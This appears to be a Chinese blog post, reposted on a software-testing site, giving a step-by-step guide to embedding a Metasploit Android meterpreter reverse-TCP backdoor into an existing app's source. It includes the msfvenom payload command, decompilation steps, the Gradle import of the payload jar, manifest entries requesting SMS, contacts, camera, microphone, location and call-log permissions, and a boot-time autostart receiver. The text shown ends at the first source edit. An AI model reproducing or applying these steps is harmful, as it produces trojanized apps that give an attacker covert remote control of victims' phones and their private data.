添加Metasploit-payload到已有的Android项目中

发表于:2018-7-23 16:54

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:雨落玫瑰    来源:博客园

  metasploit在写这篇文章之前,笔者可以说是对java一窍不通,也从来没有写过什么Android应用,在几天的摸爬滚打中终于实现了最终的目的,就是在已有Apk源码的情况下,用了比较另类的方式,添加metasploit后门。
  同时支持java/scala两种语言写的项目,主要是为了给大家提供一些思路,如果哪里写的不准确,欢迎指正。
  可能有人说,目前已经有各种各样的工具,比如backdoor-apk能够感染已编译好的Apk文件,但是经过笔者的测试,这种被感染后的文件使用起来不是很稳定,而且apktool本身有缺陷,导致很多apk反编译后无法重新编译。所以,既然有源码,为何要生成apk后再注入后门?
  payload分析
  首先使用msfvenom生成一个payload:
  msfvenom -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 R > payload.apk
  使用apktool与dex2jar反编译:
  apktool d payload.apk
  d2j-dex2jar payload.apk
  最后用jd-gui打开d2j-dex2jar生成出的payload-dex2jar.jar
    
  MainActivity.class - Java Decompiler JD-GUI, 今天 at 下午8.46.03.png
  结合AndroidManifest.xml分析源码后发现,Payload的服务为com.metasploit.stage.MainService,启动服务的方式有两种,一个是主Activity(android.intent.action.MAIN),也就是点击程序图标后运行的Activity,另一个是接收android.intent.action.BOOT_COMPLETED,也就是开机自动启动服务。
    
  MainActivity.class - Java Decompiler JD-GUI, 今天 at 下午9.04.31.png
  MainBroadcastReceiver.class - Java Decompiler JD-GUI, 今天 at 下午9.05.16.png
  启动服务的代码为
  MainService.startService(context);
  也就是说,只要把启动服务的代码添加到项目源码中的相应位置,就可以实现添加后门。
  笔者首先想将反编译后的java源码直接添加到项目中,但无奈编译不成功,在网上查找相关资料后发现,jd-gui反编译的jar文件本身就有问题,只能做参考。
  如果直接用github上payload的源码,又不知道Payload的配置串是如何加密的。
  最后突然想到,既然dex2jar已经将payload转换为了jar文件,那直接将jar作为依赖包导入到工程中不就行了。
  导入jar包
  Android Studio
  拷贝payload-dex2jar.jar到app/libs目录下
  打开app目录下的build.gradle,在dependencies中添加compile files(‘libs/payload-dex2jar.jar‘)
   
  build.gradle — ~-Downloads Atom, 今天 at 下午9.14.31.png
  Sbt/scala
  拷贝payload-dex2jar.jar到lib目录下下
  修改AndroidManifest.xml
  选择性添加添加以下权限
  可以根据需要,选择性的添加所需要的权限
  <uses-permission android:name="android.permission.INTERNET" />
  <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
  <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
  <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
  <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
  <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
  <uses-permission android:name="android.permission.READ_PHONE_STATE" />
  <uses-permission android:name="android.permission.SEND_SMS" />
  <uses-permission android:name="android.permission.RECEIVE_SMS" />
  <uses-permission android:name="android.permission.RECORD_AUDIO" />
  <uses-permission android:name="android.permission.CALL_PHONE" />
  <uses-permission android:name="android.permission.READ_CONTACTS" />
  <uses-permission android:name="android.permission.WRITE_CONTACTS" />
  <uses-permission android:name="android.permission.RECORD_AUDIO" />
  <uses-permission android:name="android.permission.WRITE_SETTINGS" />
  <uses-permission android:name="android.permission.CAMERA" />
  <uses-permission android:name="android.permission.READ_SMS" />
  <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
  <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
  <uses-permission android:name="android.permission.SET_WALLPAPER" />
  <uses-permission android:name="android.permission.READ_CALL_LOG"/>
  <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
  <uses-permission android:name="android.permission.WAKE_LOCK" />
  <uses-feature android:name="android.hardware.camera" />
  <uses-feature android:name="android.hardware.camera.autofocus" />
  <uses-feature android:name="android.hardware.microphone" />
   添加服务
  <service android:name="com.metasploit.stage.MainService" android:exported="true" />
  添加开机启动
  如果需要添加开机启动,则必须添加android.permission.RECEIVE_BOOT_COMPLETED权限。
  <receiver
  android:name="com.metasploit.stage.MainBroadcastReceiver"
  android:label="MainBroadcastReceiver">
  <intent-filter>
  <action android:name="android.intent.action.BOOT_COMPLETED" />
  </intent-filter>
  </receiver>
  修改源码,启动服务
  java与scala相同,定位到Main Activity所在的文件中,添加import
  import com.metasploit.stage.MainService;

上文内容不用于商业目的,如涉及知识产权问题,请权利人联系博为峰小编(021-64471599-8017),我们将立即处理。
21/212>
《2023软件测试行业现状调查报告》独家发布~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号